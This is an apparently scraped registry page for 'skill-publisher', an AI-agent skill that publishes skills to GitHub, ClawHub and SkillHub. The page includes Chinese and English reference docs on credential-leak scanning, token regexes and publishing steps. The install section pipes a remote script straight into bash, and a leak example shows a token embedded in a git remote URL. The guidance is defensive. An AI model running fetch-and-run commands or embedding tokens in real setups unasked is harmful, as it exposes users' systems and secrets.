criteria**：README 包含用户警告，明确告知副作用和禁用方式。\r\n\r\n**修复方式**：在 README 中增加警告段落：\r\n```\r\n> **用户须知**：运行本技能会自动将结果写入 [目的地列表]。如不需推送，使用 --skip-push 参数。\r\n```\r\n中英文 README 必须同步包含警告。\r\n\r\n---\r\n\r\n## Scan Execution\r\n\r\n### ⚠️ Critical: .gitignore Blind Spot (v5.8 新增)\r\n\r\n**Grep (ripgrep) 默认遵守 `.gitignore`，会跳过被忽略的文件。但 `clawhub publish` 上传整个目录，不看 `.gitignore`（v5.18 起用 `.clawhubignore` 显式排除）。** 这造成了一个致命盲区：`.gitignore` 中的凭证文件（如 `config.local.json`、`.env.local`）对 Grep 扫描\"不可见\"，但对 ClawHub 发布\"完全可见\"。**v5.18 修复**：新增 `.clawhubignore` 文件作为 ClawHub 发布专用排除层，所有凭证文件/临时脚本/构建产物显式排除。\r\n\r\n**历史事故**（2026-07-12）：`references/config.local.json` 含真实飞书凭证，在 `.gitignore` 中（未进 GitHub），但被 `clawhub publish` 上传到 ClawHub 平台，导致凭证泄露。Grep 扫描报告 PASS，因为 ripgrep 跳过了该文件。**v5.18 根本修复**：`.clawhubignore` 文件排除所有凭证文件模式，ClawHub publish 会读取该文件并跳过匹配的文件。\r\n\r\n### Pre-Scan: Mandatory File Listing (v5.8 新增)\r\n\r\n**在执行 Grep 扫描之前，必须先用 `LS` 工具列出技能目录的完整文件列表**（LS 不遵守 `.gitignore`，会显示所有文件）：\r\n\r\n```\r\nLS: (ignore: [\"**/.git/**\", \"**/__pycache__/**\"])\r\n```\r\n\r\n**检查以下凭证文件是否存在于目录中**（存在 = FAIL，必须删除或移出目录）：\r\n\r\n| 文件名模式 | 说明 | 处理 |\r\n|-----------|------|------|\r\n| `config.local.json` | 本地凭证文件 | 删除或移出技能目录 |\r\n| `.env.local` / `.env` | 环境变量文件 | 删除或移出技能目录 |\r\n| `config.local.*.json` | 本地凭证变体 | 删除或移出技能目录 |\r\n| `_*.py` / `_*.ps1` | 临时脚本（`_` 前缀） | 删除 |\r\n| `*.log` | 日志文件 | 删除 |\r\n| `publish_*.ps1` / `publish_*.sh` | 维护者发布脚本 | 移出技能目录 |\r\n\r\n### Grep Scans (v5.8 修正)\r\n\r\n**Grep 工具的 `glob` 参数不能排除 `.gitignore` 中的文件。** 如果使用 TRAE 的 Grep 工具（基于 ripgrep），必须注意：\r\n\r\n1. **Grep 工具可能默认跳过 `.gitignore` 中的文件**——这是 ripgrep 的默认行为\r\n2. **对于已知凭证文件**（如 `config.local.json`），即使 Grep 扫描报告 PASS，也要通过 Pre-Scan 的 LS 检查确认文件不存在\r\n3. **如果技能目录中有 `config.local.json` 等凭证文件**，Grep 扫描结果不可信（因为 ripgrep 跳过了），必须依赖 LS 检查\r\n\r\nRun all four scans via Grep on the entire skill directory:\r\n\r\n```\r\n1. LS: list all files (including .gitignore'd) → check for credential files → PASS/FAIL\r\n2. Grep: credential pattern → check each match → PASS/FAIL\r\n3. Grep: local path pattern → check each match → PASS/FAIL\r\n4. Grep: dangerous command pattern → check each match → PASS/FAIL\r\n5. Grep: YARA trigger word categories (Layer 4) → check each match → PASS/FAIL\r\n```\r\n\r\n**Any FAIL = block publish.** Fix the issue, re-run scan. Only proceed when all five PASS.\r\n\r\n### Post-Publish Verification (v5.8 强化)\r\n\r\n**发布后必须验证 ClawHub 上的文件列表**，确认无凭证文件被上传：\r\n\r\n```bash\r\nclawhub inspect \r\n# 检查文件列表中不包含：\r\n# - config.local.json / .env.local / .env\r\n# - _*.py / _*.ps1 (临时脚本)\r\n# - *.log (日志文件)\r\n# - publish_*.ps1 / publish_*.sh (维护者脚本)\r\n```\r\n\r\n---\r\n\r\n## Distribution Judgment (Three-Question Test)\r\n\r\nFor each file in the skill directory, answer three questions:\r\n\r\n1. **Does the user need this file after installing the skill?**\r\n2. **Does this file participate in the skill's execution flow?**\r\n3. **Can the skill still work if this file is deleted?**\r\n\r\n| Category | Judgment | Action | Examples |\r\n|----------|----------|--------|----------|\r\n| Execution dependency | Three \"yes\" | Must include | SKILL.md, plugin.json, references/*.md, scripts/*.py |\r\n| Project metadata | Not in execution, but users/devs need | Include | README.md, LICENSE, CHANGELOG.md, docs/*.md |\r\n| Maintainer tools | Three \"no\" | Exclude | *.ps1, *.sh (publish scripts) |\r\n| VCS config | Three \"no\" | Exclude from zip, keep in repo | .gitignore |\r\n| Runtime data | Three \"no\" | Exclude | data/, *.log |\r\n| Credential files | Three \"no\" + security risk | Must exclude | .env.local, config.local.json |\r\n\r\n### Key Distinctions\r\n\r\n- `.gitignore` stays in GitHub repo (for developers who clone) but excluded from ClawHub distribution\r\n- `publish_all.ps1` and similar scripts are maintainer tools — never include in distribution\r\n- `references/config.json` with placeholders IS an execution dependency — must include\r\n- `references/config.local.json` with real credentials is NOT — must exclude\r\n\r\n### ClawHub Auto-Generated Files (v5.0 新增)\r\n\r\n**ClawHub 会自动生成以下文件，禁止手动发布**：\r\n\r\n| 文件/目录 | 生成时机 | 处理方式 |\r\n|----------|---------|---------|\r\n| `skill-card.md` | ClawHub 发布时自动生成 | **必须删除**（如果存在于本地） |\r\n| `.clawhub/` | ClawHub install/publish 时生成 | **必须加入 .gitignore**，不发布 |\r\n| `.clawhub/origin.json` | ClawHub install 时生成 | 同上 |\r\n| `_meta.json` | ClawHub publish 时生成 | 同上 |\r\n\r\n**发布前检查**：\r\n\r\n```bash\r\n# 检查 skill-card.md 是否存在\r\nTest-Path skill-card.md\r\n# 如果存在 → 删除\r\n\r\n# 检查 .clawhub/ 目录\r\nTest-Path .clawhub\r\n# 如果存在 → 加入 .gitignore，不删除（本地需要）\r\n```\r\n\r\n**故障案例（2026-07）**：web-to-fim 技能发布时，skill-card.md 被打包上传，ClawHub 拒绝发布，报错 \"skill-card.md is auto-generated\"。删除后重新发布成功。\r\n\r\n---\r\n\r\n## Common Leak Patterns & Remediation\r\n\r\n### Pattern 1: Token in git remote URL\r\n\r\n```\r\n# LEAKED\r\nhttps://EdwardWason:ghp_your_token_here@github.com/EdwardWason/repo.git\r\n\r\n# FIX: Use credential helper or SSH\r\ngit remote set-url origin git@github.com:EdwardWason/repo.git\r\n```\r\n\r\n### Pattern 2: .env.local in distribution\r\n\r\n```\r\n# FIX: Add to .gitignore AND exclusion list\r\n.env.local\r\nconfig.local.json\r\n```\r\n\r\n### Pattern 3: PowerShell script with local paths\r\n\r\n```\r\n# LEAKED: publish_all.ps1 contains \"d:\\TRAE SOLO CN\\...\"\r\n# FIX: Exclude all .ps1 files from distribution\r\n```\r\n\r\n### Pattern 4: Log files with sensitive data\r\n\r\n```\r\n# LEAKED: publish_run.log contains tokens and local paths\r\n# FIX: Add *.log to .gitignore and exclusion list\r\n```\r\n\r\n---\r\n\r\n## Post-Publish Verification\r\n\r\nAfter publishing, verify on both platforms:\r\n\r\n### GitHub Verification\r\n\r\n```powershell\r\n# List all files in repo\r\n$tree = Invoke-RestMethod -Uri \"https://api.github.com/repos/$Owner/$Repo/git/trees/main?recursive=1\" -Headers $Headers\r\n$tree.tree | Where-Object { $_.type -eq \"blob\" } | ForEach-Object { Write-Host $_.path }\r\n# Check: no data/, *.ps1, .env.local, *.log\r\n```\r\n\r\n### ClawHub Verification\r\n\r\n```bash\r\nclawhub inspect \r\n# Check: Security field = CLEAN\r\n# Check: file list contains only expected files\r\n```\n\nFile v5.22.1:references/skillhub-publishing.md\n\n# SkillHub Publishing Guide\r\n\r\n> SkillHub (skillhub.cn) 是第三方 Skill 发布平台。本指南覆盖 CLI 安装、登录、frontmatter 兼容、dry-run 预检、正式发布、Windows 兼容、故障排查。\r\n\r\n## 平台对比\r\n\r\n| 维度 | ClawHub | SkillHub |\r\n|------|---------|----------|\r\n| 域名 | clawhub.ai | skillhub.cn |\r\n| frontmatter | name + description | slug + displayName + version + summary + license |\r\n| 版本号 | --version 命令行参数 | frontmatter 内 version 字段 |\r\n| Token 环境变量 | CLAWHUB_TOKEN | SKILLHUB_TOKEN（login 时传入） |\r\n| 发布命令 | clawhub publish（v5.18 现实校准：CLI v0.9.0 实际支持的命令） | skillhub publish |\r\n| 预检 | 无（--dry-run 文档描述但 CLI v0.9.0 未实现） | --dry-run |\r\n| Changelog | --changelog 参数 | --changelog 参数 |\r\n| slug 冲突检查 | clawhub inspect | 409 错误 |\r\n| 实名认证 | 无 | 需实名认证 |\r\n| 审核流程 | 无 | pending_review → 审核通过 |\r\n| Windows 支持 | 原生 | 需 python 直接调用（python3 是 stub） |\r\n\r\n## CLI 安装\r\n\r\n### Mac/Linux\r\n\r\n```bash\r\ncurl -fsSL https://skillhub.cn/install/install.sh | bash -s -- --cli-only\r\necho 'export PATH=\"$HOME/.local/bin:$PATH\"' >> ~/.zshrc\r\nsource ~/.zshrc\r\nskillhub --version\r\n```\r\n\r\n### Windows\r\n\r\nWindows 上 `skillhub` 命令调用 `python3`，但 Windows Store 的 `python3.exe` 是 stub（exit code 9009），需用 `python` 直接调用：\r\n\r\n```powershell\r\n# 检查安装\r\npython \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\" --version\r\n\r\n# 验证输出：skillhub 2026.x.x\r\n```\r\n\r\n**Windows 调用约定**：所有 `skillhub ` 在 Windows 上替换为：\r\n\r\n```powershell\r\npython \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\" \r\n```\r\n\r\n或用完整 Python 路径：\r\n\r\n```powershell\r\n& \"C:\\Python313\\python.exe\" \"$env:USERPROFILE\\.skillhub\\skills_store_cli.py\" \r\n```\r\n\r\n## 登录\r\n\r\n> ⚠️ **安全说明**：SkillHub CLI 的 `login` 命令要求通过 `--key` 参数传递 token。即使 token 从环境变量读取，`--key` 参数仍会出现在 process listing 中。这是 CLI 设计的限制，无法完全避免。建议在受控环境（非共享主机）执行 login，执行后清理 shell history。\r\n\r\n**Token 来源**：环境变量 `SKILLHUB_TOKEN`（token 格式：`skh_` 开头，配置在用户环境变量中）\r\n\r\n```bash\r\n# Mac/Linux — 从环境变量读取\r\nskillhub login --key \"$SKILLHUB_TOKEN\" --host https://api.skillhub.cn\r\n\r\n# Windows — 从环境变量读取到临时变量（v5.17.6 移除 OS 持久存储读取类调用，遵守 SkillSpector Credential Access 约束）\r\n$token = $env:SKILLHUB_TOKEN\r\npython \"$env:USERPROFILE\\.skillhub\\skills_store_cli.py\" login --key $token --host https://api.skillhub.cn\r\nRemove-Variable token # 清除临时变量\r\n```\r\n\r\n> ❌ **绝对禁止**：`login --key \"skh_real_token_value\"` — 在命令中直接写死真实 token 值会被永久记录到 shell history、脚本文件、日志中\r\n\r\n**验证登录**：\r\n\r\n```bash\r\nskillhub auth whoami\r\n# 输出：userId / handle / role 三行\r\n```\r\n\r\n## Frontmatter 兼容\r\n\r\nSKILL.md frontmatter 必须同时满足 ClawHub 和 SkillHub 的要求：\r\n\r\n```yaml\r\n---\r\n# ClawHub 字段\r\nname: \"skill-name\"\r\ndescription: \"技能描述，含触发词和 Do NOT scope\"\r\n\r\n# SkillHub 字段（2026-07 新增）\r\nslug: skill-name-ai # 全网唯一，建议带 handle 后缀\r\ndisplayName: Skill Name # 展示名称\r\nversion: 1.0.0 # 版本号（SkillHub 从 frontmatter 读取）\r\nsummary: 技能简介 # 一句话概述\r\nlicense: MIT # 开源许可证\r\n---\r\n```\r\n\r\n### 字段对应关系\r\n\r\n| 用途 | ClawHub 字段 | SkillHub 字段 | 说明 |\r\n|------|-------------|--------------|------|\r\n| 标识 | name | slug | ClawHub 用 name，SkillHub 用 slug |\r\n| 描述 | description | summary | ClawHub 用 description（长文本），SkillHub 用 summary（短文本） |\r\n| 版本 | --version 参数 | version 字段 | ClawHub 从命令行读，SkillHub 从 frontmatter 读 |\r\n| 展示名 | 无 | displayName | SkillHub 独有 |\r\n| 许可证 | 无 | license | SkillHub 独有 |\r\n\r\n### slug 命名规则\r\n\r\n- **全网唯一**：slug 冲突会报 409 错误\r\n- **建议带 handle 后缀**：如 `skill-publisher-ai`、`web-to-fim-edwardwason`\r\n- **保持一致**：ClawHub 和 SkillHub 用相同的 slug（如果都可用）\r\n\r\n## 发布流程\r\n\r\n### 1. 确认登录态\r\n\r\n```bash\r\n# Mac/Linux\r\nskillhub auth whoami\r\n\r\n# Windows\r\npython \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\" auth whoami\r\n```\r\n\r\n如果未登录，执行 `login` 命令。\r\n\r\n### 2. dry-run 预检（必须通过）\r\n\r\n```bash\r\n# Mac/Linux\r\nskillhub publish --dry-run\r\n\r\n# Windows\r\npython \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\" publish --dry-run\r\n```\r\n\r\n**预期输出**：`✓ Dry-run passed: @`\r\n\r\n**常见错误**：\r\n- `Error: SKILL.md 缺少 ...` → frontmatter 字段漏填，补齐后重试\r\n- `403 请先完成实名认证` → 浏览器完成实名认证\r\n- `409 slug 已被其他用户占用` → 修改 slug 为全网唯一\r\n\r\n### 3. 正式发布\r\n\r\n```bash\r\n# Mac/Linux\r\nskillhub publish --changelog \"变更说明\"\r\n\r\n# Windows\r\npython \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\" publish --changelog \"变更说明\"\r\n```\r\n\r\n**预期输出**：`✓ Published: skillId=xxxxx status=pending_review`\r\n\r\n发布后进入审核流程，审核通过后详情页可见。\r\n\r\n### 4. 更新 Skill\r\n\r\n更新流程与首次发布一致：\r\n1. 保持 `slug` 不变\r\n2. 递增 `version`（frontmatter 中）\r\n3. 修改其他字段按需\r\n4. `--changelog` 填写版本变更说明\r\n5. 重新 `skillhub publish`\r\n\r\n## 安全规则\r\n\r\n### Token 保护\r\n\r\n- **SKILLHUB_TOKEN 不可硬编码到脚本或文档**：只通过环境变量传递\r\n- **安全扫描必须检查 `skh_` 前缀**：扫描 `skh_[a-f0-9]{64}` 模式的硬编码值\r\n- **login 命令的 --key 参数限制**：SkillHub CLI 要求 `--key` 传 token，即使从环境变量读取，token 仍会短暂出现在 process listing 中。缓解措施：在受控环境执行、执行后清理 history、不在共享主机上运行\r\n\r\n### 环境变量配置\r\n\r\n```powershell\r\n# Windows 永久设置\r\n[Environment]::SetEnvironmentVariable(\"SKILLHUB_TOKEN\", \"skh_your_token_here\", \"User\")\r\n$env:SKILLHUB_TOKEN = \"skh_your_token_here\"\r\n\r\n# Mac/Linux\r\nexport SKILLHUB_TOKEN=\"skh_your_token_here\"\r\n```\r\n\r\n## 故障排查\r\n\r\n### `command not found: skillhub`（Mac/Linux）\r\n\r\n```bash\r\nsource ~/.zshrc\r\n# 或\r\n~/.local/bin/skillhub --version\r\n```\r\n\r\n### `exit code 9009`（Windows）\r\n\r\n**原因**：Windows Store 的 `python3.exe` 是 stub，不实际执行 Python。\r\n\r\n**修复**：用 `python` 或完整路径替代：\r\n\r\n```powershell\r\npython \"%USERPROFILE%\\.skillhub\\skills_store_cli.py\" --version\r\n# 或\r\n& \"C:\\Python313\\python.exe\" \"$env:USERPROFILE\\.skillhub\\skills_store_cli.py\" --version\r\n```\r\n\r\n### `401 invalid api key`\r\n\r\nToken 已被撤销或失效。重新创建 Token，再执行 `login`。\r\n\r\n### `403 请先完成实名认证`\r\n\r\n浏览器打开 [skillhub.cn](https://skillhub.cn) → 个人中心 → 实名认证 → 完成人脸核身。\r\n\r\n### `409 slug 已被其他用户占用`\r\n\r\n修改 SKILL.md frontmatter 中的 `slug` 为全网唯一标识（建议带 handle 后缀）。\r\n\r\n### `429 请求过于频繁`\r\n\r\n触发了平台限频，等约 1 分钟后重试。\r\n\r\n### `400 不允许的文件类型`（v5.1 新增，重要）\r\n\r\n**原因**：SkillHub 对上传文件类型有严格限制，以下文件会被拒绝：\r\n- `.gitignore`（dotfile）\r\n- `LICENSE`（无扩展名）\r\n- `.claude-plugin/`（隐藏目录）\r\n- `.github/`（隐藏目录）\r\n- 其他无扩展名文件或 dotfile\r\n\r\n**修复**：推荐用临时副本方式发布，避免操作原文件：\r\n\r\n```powershell\r\n# 用 robocopy 复制到临时目录（排除不支持的文件）\r\n$skillPath = \"\"\r\n$tempPath = \"\\_skillhub_temp\"\r\nrobocopy $skillPath $tempPath /E /XD .git __pycache__ .clawhub .claude-plugin .github /XF .gitignore LICENSE\r\n\r\n# 发布临时副本\r\npython \"$env:USERPROFILE\\.skillhub\\skills_store_cli.py\" publish $tempPath --changelog \"xxx\"\r\n\r\n# 清理临时目录\r\nRemove-Item $tempPath -Recurse -Force\r\n```\r\n\r\n> **重要**：ClawHub 和 GitHub 允许这些文件，只有 SkillHub 会拒绝。三平台发布时，SkillHub 发布步骤需要单独处理文件类型。\r\n\r\n### 发布成功但详情页显示\"未找到\"\r\n\r\n审核还在进行中。前往个人中心 → 我的 Skill 查看实时状态，审核通过后详情页自动可见。\r\n\r\n### `argument --key: expected one argument`（Windows PowerShell）\r\n\r\n**原因**：PowerShell `$env:SKILLHUB_TOKEN` 在参数传递时可能被吞掉。\r\n\r\n**修复**：从环境变量读取到临时变量，传完后清除：\r\n\r\n```powershell\r\n# 从环境变量读取 SkillHub 凭证到临时变量\r\n$token = $env:SKILLHUB_TOKEN\r\npython script.py login --key $token --host https://api.skillhub.cn\r\nRemove-Variable token # 清除临时变量\r\n```\r\n\r\n> ⚠️ **CLI 限制**：SkillHub CLI 要求 `--key` 传 token，无法完全避免 process listing 暴露。建议在受控环境执行。绝对禁止把真实 token 值写死在脚本或命令中。\r\n```\r\n\r\n## 参考链接\r\n\r\n- [SkillHub 官网](https://skillhub.cn)\r\n- [CLI 发布教程](https://skillhub.cn/tutorials#publish-via-cli)\r\n- [Agent 自然语言发布规范](https://skillhub.cn/ai/release.md)\n\nFile v5.22.1:skill-card.md\n\n## Description:\n\nPublishes completed agent skills to GitHub, ClawHub, and SkillHub with pre-publish safety checks, version checks, repository packaging, and user confirmation before visible external publishing or loca\n\nArchive v5.21.0: 10 files, 76199 bytes\n\nFiles: references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (17201b), references/publishing-guide.md (36844b), references/repo-structure.md (14158b), references/security-audit.md (21546b), references/skillhub-publishing.md (9531b), skill-card.md (2973b), SKILL.md (70105b), _meta.json (138b)\n\nArchive v5.20.1: 10 files, 75652 bytes\n\nFiles: references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (17201b), references/publishing-guide.md (35744b), references/repo-structure.md (13676b), references/security-audit.md (21139b), references/skillhub-publishing.md (9255b), skill-card.md (3067b), SKILL.md (69230b), _meta.json (138b)\n\nArchive v5.20.0: 13 files, 101419 bytes\n\nFiles: CHANGELOG.md (52292b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (16351b), references/publishing-guide.md (36844b), references/repo-structure.md (14158b), references/security-audit.md (21529b), references/skillhub-publishing.md (9531b), skill-card.md (2728b), SKILL.md (65622b), _meta.json (138b)\n\nArchive v5.19.1: 13 files, 97529 bytes\n\nFiles: CHANGELOG.md (49265b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (14336b), references/publishing-guide.md (34785b), references/repo-structure.md (14158b), references/security-audit.md (21529b), references/skillhub-publishing.md (9531b), skill-card.md (3353b), SKILL.md (60654b), _meta.json (138b)\n\nArchive v5.19.0: 13 files, 97246 bytes\n\nFiles: CHANGELOG.md (48809b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (14336b), references/publishing-guide.md (34785b), references/repo-structure.md (14158b), references/security-audit.md (21529b), references/skillhub-publishing.md (9531b), skill-card.md (3027b), SKILL.md (60654b), _meta.json (138b)\n\nArchive v5.18.2: 13 files, 94631 bytes\n\nFiles: CHANGELOG.md (47148b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (14336b), references/publishing-guide.md (34785b), references/repo-structure.md (14158b), references/security-audit.md (19541b), references/skillhub-publishing.md (9531b), skill-card.md (3071b), SKILL.md (58120b), _meta.json (138b)\n\nArchive v5.18.1: 13 files, 93671 bytes\n\nFiles: CHANGELOG.md (43837b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (14336b), references/publishing-guide.md (34785b), references/repo-structure.md (14158b), references/security-audit.md (19541b), references/skillhub-publishing.md (9531b), skill-card.md (3266b), SKILL.md (58108b), _meta.json (138b)\n\nArchive v5.18.0: 13 files, 90722 bytes\n\nFiles: CHANGELOG.md (39760b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (14313b), references/publishing-guide.md (34749b), references/repo-structure.md (14158b), references/security-audit.md (18865b), references/skillhub-publishing.md (9495b), skill-card.md (3238b), SKILL.md (54164b), _meta.json (138b)\n\nArchive v5.17.6: 13 files, 86040 bytes\n\nFiles: CHANGELOG.md (34521b), README.en.md (9222b), README.md (10735b), references/change-detection.md (6572b), references/changelog-generation.md (8046b), references/publish-procedures.md (14181b), references/publishing-guide.md (34595b), references/repo-structure.md (14158b), references/security-audit.md (15663b), references/skillhub-publishing.md (9384b), skill-card.md (1915b), SKILL.md (51239b), _meta.json (138b)","readmeExcerpt":"Skill: Skill Publisher 技能发布 Owner: edwardwason Summary: 技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects. Tags: c","codeSnippets":[],"executableExamples":[{"language":"text","snippet":"⚠️⚠️⚠️ 警告：GitHub 未同步！版本 未推送到 GitHub ⚠️⚠️⚠️\n 下次发布前必须先补推此版本。\n 待补推版本已记录到 docs/knowledge/skill-publisher-log.md"},{"language":"bash","snippet":"# 1. 正式发布（v5.18 现实校准：CLI v0.9.0 实际只支持 `clawhub publish`，文档的 `clawhub skill publish` 是未来版本方向，当前不可用）\n# v5.21 新增 --name 强制要求（规则 34）：必须显式传 --name，否则从目录名派生 displayName 永久锁定错误值\nclawhub publish \\\n --slug \\\n --name \"\" \\\n --version \\\n --tags \"\" \\\n --changelog \"\"\n\n# 2. 验证 Latest 版本（v5.18 新增，CLI v0.9.0 支持 --json）\nclawhub inspect --json | python -c \"import sys,json; d=json.load(sys.stdin); print('Latest:', d.get('latestVersion'))\"\n\n# 3. 主动触发扫描（v5.18 待 CLI 未来版本支持 — 当前 CLI v0.9.0 不支持 `clawhub scan` 命令，只能被动等待 ClawHub 服务端自动扫描）\n# 未来 CLI 升级后可用：clawhub scan --slug --update --output scan-report.zip"},{"language":"bash","snippet":"# 1. 确认登录态\nskillhub auth whoami\n\n# 2. TRACE 五维度预检（v5.3 新增，规则20）\n# T: 安全红线扫描 + allowed-tools + 国内可用性\n# R: 前置条件 + 质量门禁 + 边界输入 + 异常处理\n# A: 触发测试（正例 + 反例）\n# C: Schema（4模块/200行/示例/实习生测试）\n# E: 增量价值\n# 任何维度 FAIL = 中止 SkillHub 发布，报告问题\n\n# 3. 临时移除不支持的文件类型（.gitignore/LICENSE/.claude-plugin/.github）\n# 备份到 skill 目录外（规则23），发布后立即恢复\n# 如果文件被占用无法移除（规则24），改用 robocopy 临时副本方式发布\n\n# 4. dry-run 预检（必须通过）\nskillhub publish --dry-run\n\n# 5. 正式发布（目录或临时副本目录）\nskillhub publish --changelog \"变更说明\"\n\n# 6. 立即恢复被移除的文件 / 清理临时副本"},{"language":"bash","snippet":"# 同步指定 skill\npython sync_skills.py \n\n# 或同步所有 skill（慎用，会覆盖所有安装目录）\npython sync_skills.py"},{"language":"markdown","snippet":"## [YYYY-MM-DD] v — 三平台发布（<一句话主题>）\n\n### 发布概况\n- 技能：\n- 版本： → \n- 平台：GitHub ✅（commit + tag v + Release）| ClawHub ✅（）| SkillHub ✅（skillId=）\n- sync_skills.py 已执行：✅（同步到 c:\\Users\\Administrator\\.trae-cn\\skills\\）\n\n### 遇到的问题 / SkillSpector findings（如有）\n...\n\n### 对 skill-publisher 的改进建议（如有）\n..."},{"language":"text","snippet":"❌ 目录不存在或为空：`/my-new-skill`\n请确认 Skill 路径，或使用完整路径指定。"}],"parameters":null,"dependencies":[],"permissions":[],"extractedFiles":[{"path":"SKILL.md","content":"---\nname: \"skill-publisher\"\ndescription: \"技能发布 — 将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub。当用户说 技能发布到三平台/发布技能更新/迭代技能发布 时触发。⚠️ 本技能的行为范围（用户须知）：① 推送代码到外部平台（GitHub/ClawHub/SkillHub），操作对外可见且可能不可逆 ② 同步到本地 TRAE 安装目录（会覆盖已有版本） ③ 在本地 docs/knowledge/ 追加发布日志。执行前会向用户确认。含安全审查、隐私清洗、版本号查重、仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。Do NOT use for creating skill content, general coding, or non-skill projects.\"\nslug: skill-publisher-ai\ndisplayName: Skill Publisher 技能发布\nversion: 5.22.1\nsummary: 三平台同步发布技能到 GitHub + ClawHub + SkillHub，含安全审查、版本号查重、TRACE 预检、dry-run。执行前向用户确认。\nlicense: MIT\nallowed-tools: \"Bash(git:*), Bash(clawhub:*), Bash(skillhub:*), Bash(gh:*), Bash(python:*), Bash(cat:*), Bash(ls:*), Bash(mkdir:*), Bash(cp:*), Bash(mv:*), Bash(rm:*), Bash(Compress-Archive:*), Read, Write, Edit, Glob, Grep\"\nmetadata:\n openclaw:\n requires:\n env:\n - GITHUB_TOKEN\n - CLAWHUB_TOKEN\n - SKILLHUB_TOKEN\n bins:\n - git\n - python\n anyBins:\n - clawhub\n - skillhub\n primaryEnv: GITHUB_TOKEN\n envVars:\n - name: GITHUB_TOKEN\n required: true\n description: GitHub PAT，用于推送仓库和创建 Release\n - name: CLAWHUB_TOKEN\n required: true\n description: ClawHub 平台 API token（clh_ 开头），用于 skill publish / scan / inspect\n - name: SKILLHUB_TOKEN\n required: true\n description: SkillHub 平台 API token（skh_ 开头），用于 skillhub publish\n - name: FEISHU_APP_ID\n required: false\n description: 可选，飞书云空间备份使用\n - name: FEISHU_APP_SECRET\n required: false\n description: 可选，飞书云空间备份使用\n - name: HTTPS_PROXY\n required: false\n description: 可选，企业网络/受限网络环境下的 HTTPS 代理\n - name: HTTP_PROXY\n required: false\n description: 可选，HTTP 代理\n - name: NO_PROXY\n required: false\n description: 可选，代理排除列表\n emoji: \"🚀\"\n homepage: https://github.com/EdwardWason/skill-publisher\n---\n\n# 技能发布\n\n将已有 Skill 三平台同步推送到 GitHub + ClawHub + SkillHub，含安全审查、隐私清洗、版本号查重、标准仓库结构生成、ClawHub 自动文件排除、SkillHub dry-run 预检。\n\n## 何时触发\n\n**仅当用户明确要求将 Skill 发布到外部平台时触发。**单纯的\"更新技能\"、\"迭代技能\"（指修改技能内容）不触发本技能，只有明确包含\"发布\"、\"推送\"意图时才触发。\n\n**触发词（需带发布/推送意图）**：\n- \"技能发布到三平台\"\n- \"发布技能更新\"\n- \"迭代技能发布\"\n- \"把 XX 技能推送到 GitHub\"\n\n**前置条件（全部满足才触发）**：\n1. 用户明确表达\"发布到外部平台\"的意图\n2. 目标是一个已开发完成的 Skill（不是普通代码项目）\n3. 用户已确认要执行外部发布操作\n\n**注意**：如果用户说\"技能熔炉\"，应触发 skill-forge（全流程），不是本技能。\n\n## 与技能熔炉的关系\n\n本技能是技能熔炉（skill-forge）的独立触发入口，只执行 Phase 3 发布流程。完整流程（创建→评估→发布）请使用技能熔炉。\n\n**详细文档共享**：本技能读取 skill-forge 的 `references/publishing-guide.md`，内容完全一致。\n\n## 任务\n只做 Skill 的发布准备与推送：生成标准仓库结构 → 安全审查 → 隐私清洗 → 版本号查重 → 推送 GitHub → 发布 ClawHub。不做 Skill 内容创建、不做代码开发。\n\n## 输出格式\n### 一、仓库结构生成报告\n列出所有生成/更新的文件及路径\n\n### 二、安全审查结果\n| 审查项 | 状态 | 详情 |\n|--------|------|------|\n| 凭证泄露 | PASS/FAIL | 扫描结果 |\n| 本地路径 | PASS/FAIL | 扫描结果 |\n| 危险命令 | PASS/FAIL | 扫描结果 |\n| 分发物判定 | PASS/FAIL | 多余文件列表 |\n\n### 三、版本号查重结果\n| ClawHub 已发布版本 | 待发布版本 | 状态 |\n|-------------------|-----------|------|\n| vX.Y.Z ... | vX.Y.Z | 可发布/版本号冲突 |\n\n### 四、发布结果\n| 平台 | 地址 | 版本 | 状态 |\n|------|----"},{"path":"_meta.json","content":"{\n \"ownerId\": \"kn75zj7vzdyvap84adxa8heyyd82f5eh\",\n \"slug\": \"skill-publisher-ai\",\n \"version\": \"5.22.1\",\n \"publishedAt\": 1785477276736\n}"},{"path":"references/change-detection.md","content":"# Change Detection & Version Bump Reference\n\nComplete procedures for detecting changes between local and remote, and automatically calculating version bumps.\n\n**When to read**: When entering Phase 2B (update & iteration). Read this file in full before executing any version bump.\n\n---\n\n## Change Detection\n\n### Step 1: Detect Local Changes\n\n```bash\n# Check if there are uncommitted changes\ngit status --short\n\n# Check diff between local and remote\ngit fetch origin main\ngit log origin/main..HEAD --oneline\n\n# If no remote yet, check diff from last tag\ngit describe --tags --abbrev=0 2>/dev/null\ngit log ..HEAD --oneline\n```\n\n### Step 2: Categorize Changed Files\n\n```bash\n# List changed files with categories\ngit diff --name-only origin/main..HEAD\n```\n\n**File Category Mapping**:\n\n| File Pattern | Category | 